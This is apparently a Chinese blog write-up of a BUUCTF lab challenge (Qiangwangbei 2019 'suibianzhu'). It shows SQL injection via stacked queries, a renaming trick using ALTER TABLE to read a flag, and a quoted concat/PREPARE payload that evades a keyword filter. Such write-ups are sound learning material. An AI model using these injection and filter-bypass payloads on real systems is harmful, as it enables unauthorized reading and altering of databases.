[CTF]强网杯2019随便注

原创

delta_hell 于 2021-10-16 18:29:11 发布 56 收藏
分类专栏： CTF 文章标签： sql injection

本文链接：https://blog.csdn.net/u011317663/article/details/120801919

简介

对安全有兴趣，BUUCTF上一道一道做，记一些有意思的东西。

关键点

1 发现注入点

这题很容易实验，最简单的1' or 1之类的语句可以测出来，闭环单引号就可以。
#注释符号，如果没起作用，需要注意使用url编码。

2 PHP的防注入

发现可以随便注之后，试了union select之类的，也面提示：

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

搜了一圈，没发现可以绕过的方法。

然后尝试多语句，show databases，show tables，一试验可以生效。
这一步给了思路，但同时select又被禁掉了，这个时候思路就很容易跑偏，我就跑偏了，尝试到其它数据库或表中去找一些信息，因为不能用select查询数据，就用show去查一些信息，比如：

```
show columns from table;
show index from table;
show create database;
show gloable variables;
```

等等方式, 尝试发现一些线索，但是最终发现，这些方式只是适用于misc类的题目，而不是SQL，最终还是强迫自己从SQL的方向去考虑。

使用show tables时，返回两个表 1919810931114514、 words；
使用show columns from 1919810931114514, 一直无数据返回，也间接导致花了大量时间去找flag在什么地方。当继续SQL方向时，就发现了这个错误，**纯数字表名需要加`号括起来**。

```
show columns from `1919810931114514`
```

最终返回列名flag，那剩下的问题就是如何读取出来的问题。

3 解题思路

在一遍遍搜索后，确定除了select没有其它获取表数据的方法，冷静下来，思考其它可以改变数据的方法，比如拷贝数据之类的，但是上面的防注入把update和select也禁掉了，这条路也不通。
最终，想到了alter，可以通过修改表名来间接达到目的。

```
简单的几步：
alter table words rename as words1;   // 将原查询表改名
alter table `1919810931114514` rename as words; // 将flag所在表改为原查询表
alter table words change flag id varchar(100); // 修改列名
```

总结

最终拿到flag时并不兴奋，因为在拿到之前就已经很确定这个方法是可行的，同时因为SQL不熟，导致走了很多弯路，这个挫折感抵消了解题的愉悦，慢慢积累吧。

附：

搜到的其它解题方法：

```
payload：-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;E
XECUTE stmt1;#
```